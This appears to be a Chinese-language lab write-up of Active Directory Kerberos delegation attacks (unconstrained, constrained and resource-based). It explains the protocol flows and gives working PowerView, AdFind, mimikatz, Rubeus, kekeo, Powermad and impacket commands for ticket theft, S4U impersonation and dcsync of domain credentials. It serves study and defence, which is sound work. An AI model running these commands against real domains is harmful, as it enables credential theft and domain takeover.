域委派攻击
简介
域委派是指将域内用户的权限委派给服务账户，使得相关服务账户能够以域用户的权限获得相关域内服务资源权限
主要还是充分发挥windows的权限控制，假设用户A利用自己的身份可以访问到一个网站B，请求网站的资源C，但是网站B上边本身没有资源C，那么网站B就需要用用户A的身份去访问另外一台机器去获取资源C再给到用户
非约束委派
用户A去访问服务B，服务B的服务账户开启了非约束委派，那么当用户A访问服务B的时候会将用户A的TGT发送给服务B并保存进内存，服务B能够利用用户A的身份去访问用户A能够访问的任意服务
1、用户机器向KDC（密钥分发中心）发送消息请求可转发的TGT1（认证票据）
2、KDC在消息中给返回TGT1（访问服务1使用）
3、用户通过TGT1请求转发TGT2（访问服务2使用）
4、KDC返回消息TGT2
5、用户使用TGT1向KDC申请访问服务1
6、TGS（票据发放服务）返回ST（服务票据）
7、用户发送AP_REQ请求服务1，包含了TGT1、TGT2、TGT2的sessionkey
8、服务1使用用户发送过来的TGT2请求KDC，并以用户身份请求服务2的ST
9、KDC返回服务2的ST到服务1，这里ST将来源请求标记为用户机器，而不是服务1
10、服务1以用户名义请求服务2
11、服务2回应服务2请求
12、服务1回应用户机器请求
13、服务1能够向KDC请求其他服务ST
14、KDC返回其他服务ST
15、服务1用用户名义请求其他服务
16、其他服务回应服务1
本地环境
域控如下
域内主机
委派功能仅服务账号与主机账号才有相关委派功能：
普通用户默认无相关权限设置：
如下将主机用户设置为非约束委派：
powerview查询配置非约束委派的账户：
Get-NetUser -Unconstrained -Domain 0day.org
查询配置非约束委派的主机
Get-domaincomputer -Unconstrained -Domain 0day.org
Get-domaincomputer寻找trusted_for_delegation也可，当服务账户或者主机被设置为非约束委派时候，userAccountControl属性将包含trusted_for_delegation
另外台机器的属性(其他环境的)
adfind查询非约束委派的主机：
AdFind.exe -b "DC=rootkit,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派的用户：
AdFind.exe -b "DC=rootkit,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
利用案例
此处使用winrm服务远程连接域内主机：
此时域管的凭证已缓存于目标机器，使用域内机器登录本地管理员，导出相关凭证：
privilege::debug
sekurlsa::tickets /export
此时先尝试连接域控，均无法连接：
导入先前凭证：
kerberos::ptt 凭证名称
kerberos::list
需使用主机名进行访问，ip地址无法成功：
远程连接域控如下：
非约束委派&Spooler
默认情况下Spooler服务为自动启动
确认目标主机开启相关权限
通过SpoolSample.exe，向域控发起请求，强制其访问PC进行身份验证，此次更换了多个环境，均出现报错，等实战再尝试了
SpoolSample.exe OWA2013 PC-micle-Kit
后续用Rubeus来监听事件id为4624的事件，可以第一事件截取到域控的TGT，监听来自域控OWA2013的登录
Rubeus.exe monitor /interval:1 /filteruser:OWA2013$
后续再Rubeus导入base64的票据直接注入进内存
Rubeus.exe ptt /ticket:base64
用mimikatz也可
privilege::debug
sekurlsa::tickets /export
导入票据后ptt即可
kerberos::ptt XXX.kirbi
lsadump::dcsync /domain:rootkit.org /all /csv
约束委派
因为非约束委派的不安全性，约束委派应运而生。在2003之后微软引入了非约束委派，对Kerberos引入S4U，包含了两个子协议S4U2self、S4U2proxy。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)，S4U2proxy可以以用户的名义请求其它服务的ST，约束委派就是限制了S4U2proxy扩展的范围
1、用户向service1发出请求，用户已通过身份验证，但service1没有用户的授权数据，通常这是由于身份验证是通过Kerberos以外的其他方式验证的
2、通过S4U2self以用户的名义向KDC请求用于访问service1的ST1
3、KDC返回给service1一个用于用户验证service1的ST1
4、service1可以使用ST中的授权数据来满足用户的请求，然后响应用户
注：尽管S4U2self向service1提供有关用户的信息，但S4U2self不允许service1代表用户发出其他服务的请求，这时候就轮到S4U2proxy发挥作用了
5、用户向service1发出请求，service1需要以用户身份访问service2的ST2
6、service1以用哦过户的名义向KDC请求用户访问service2的ST2
7、如果请求中包含PAC，则KDC通过检查PAC的签名数据来验证PAC，如果PAC不存在，则KADC返回ST2给service1
8、service1使用st2以用户的名义向service2发送请求，并判定用户已由KDC进行身份验证
9、service2响应步上一步请求
10、service1响应用户对自己的请求
主要就是收到用户请求后，代表用户获得针对服务自身的可转发的kerberos服务票据（S4U2self）,用这个票据向KDC请求访问特定服务的课转发的TGS（S4U2proxy），并且代表用户访问特定服务，而且只能访问该特定服务
本地环境
此处如果没有用户，需要新建个用户，加上spn标识为服务用户
setspn -A MSSQLSvc/Srv-Web-Kit.rootkit.org:1433 dbadmin
设置服务用户对Srv-Web-Kit的cifs服务的委派
已知在约束委派的情况下，服务用户只能获取某个用户或者主机的服务ST，只能用模拟用户访问特定的服务，是无法获取用户的TGT的，如果能够获得到开启了约束委派的服务的用户的明文密码或者hash就可以伪造S4U的请求，进而伪造服务用户以任意账户的权限访问服务的ST
利用案例
通过kekeo请求服务用户的TGT
tgt::ask /user:dbadmin /domain:rootkit.org /password:admin!@#45 /ticket:test.kirbi
同理此处利用ntlmhash也是可以进行请求的
tgt::ask /user:dbadmin /domain:rootkit.org /NTLM:XXXXX
利用这个票据通过伪造S4U请求以administrator身份访问Srv-Web-Kit的ST
tgs::s4u /tgt:TGT_dbadmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:Administrator@rootkit.org /service:cifs/Srv-Web-Kit.rootkit.org
S4U2Self获取到的ST1，以及S4U2Proxy获取到的Srv-Web-Kit的CIFS服务的ST2会保存在当前目录下
通过mimikatz将凭证注入进内存
kerberos::ptt cifs的凭证
确认具备相关凭证
基于资源的约束委派
注意：server2012才引入了基于资源的约束委派！！！
无需域管设置相关属性，请求ST的过程与先前的约束委派类似，传统的约束委派S4U2Self返回的票据一定是可转发的，如果不可转发那么S4U2Proxy将失败；但是基于资源的约束委派不同，就算S4U2Self返回的票据不可转发（可不可以转发由TrustedToAuthenticationForDelegation决定），S4U2Proxy也是可以成功，并且S4U2Proxy返回的票据总是可转发
总之需要用户对主机的属性具备写权限
本地环境
增加用户对主机的权限
powerview查询权限
Get-DomainUser -Identity 用户名 -Properties objectsid 获取sid
Get-DomainObjectAcl -Identity 目标主机名 | ?{$_.SecurityIdentifier -match "sid"}
如下，当前的dbadmin对Srv-Web-Kit具备完全控制权限，不仅限于GenericAll（完全控制），GenericWrite、WriteProperty、WriteDacl等等权限都是可以修改账户属性的。
进一步创建机器用户，这里用powermad的ps脚步即可
https://github.com/Kevin-Robertson/Powermad
Import-Module .Powermad.ps1
New-MachineAccount -MachineAccount testsystem -Password $(ConvertTo-SecureString "test" -AsPlainText -Force)
powerview查询机器账户sid
get-domiancomputer testsystem
S-1-5-21-3759881954-2993291187-3577547808-2103
修改目标的msDS-AllowedToActOnBehalfOfOtherIdentity值，可使用powerview或ActiveDirectory
通过powerview
确认添加成功
Get-DomainComputer Srv-Web-Kit -Properties msds-allowedtoactonbehalfofotheridentity
如下可进行清除
Set-DomainObject Srv-Web-Kit -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
Get-ADComputer Srv-Web-Kit -Properties PrincipalsAllowedToDelegateToAccount
通过ActiveDirectory，仅12及以上的ActiveDirectory才有这个模块
Set-ADComputer Srv-Web-Kit -PrincipalsAllowedToDelegateToAccount testsystem$
Get-ADComputer Srv-Web-Kit -Properties PrincipalsAllowedToDelegateToAccount
利用案例
Rubeus
确认无法访问Srv-Web-Kit的资源
Rubeus是不支持明文的，需转为hash
Rubeus.exe hash /user:testsystem /password:test /domain:rootkit.org
用testsystem的hash请求白银票据并导入至会话
Rubeus.exe s4u /user:testsystem$ /rc4:0CB6948805F797BF2A82807973B89537 /impersonateuser:administrator /msdsspn:cifs/Srv-Web-Kit /ptt
这里已经拿到的凭证，但依旧无法访问到服务
此处psexec也无权限
尝试host票据，获得凭证信息如下
Rubeus.exe s4u /user:testsystem$ /rc4:0CB6948805F797BF2A82807973B89537 /impersonateuser:administrator /msdsspn:host/Srv-Web-Kit /ptt
但此处依旧无权限，很奇怪，这里做完host的凭证应该是正常的，暂时没解决这个问题，如果有大佬知道请一定告诉我，万分感谢
mimikatz
impacket的getst生成票据，ccache为相关缓存文件：
getST_windows.exe -dc-ip 192.168.3.144 rootkit.org/testsystem$:test -spn cifs/Srv-Web-Kit.rootkit.org -impersonate administrator
mimikatz导入凭证
kerberos::ptc administrator.ccache
确认凭证生成，确认目标服务能够访问到
参考
https://xz.aliyun.com/t/7217#toc-3
https://xz.aliyun.com/t/7454
https://skewwg.github.io/2020/11/25/ji-yu-zi-yuan-de-yue-shu-wei-pai-li-yong/
https://y4er.com/post/kerberos-constrained-delegation/
https://eviladan0s.github.io/2020/04/14/kerberos-delegation/#%E5%8E%9F%E7%90%86
http://www.const27.com/2020/10/12/%e5%9f%9f%e5%a7%94%e6%b4%be%e6%94%bb%e5%87%bb/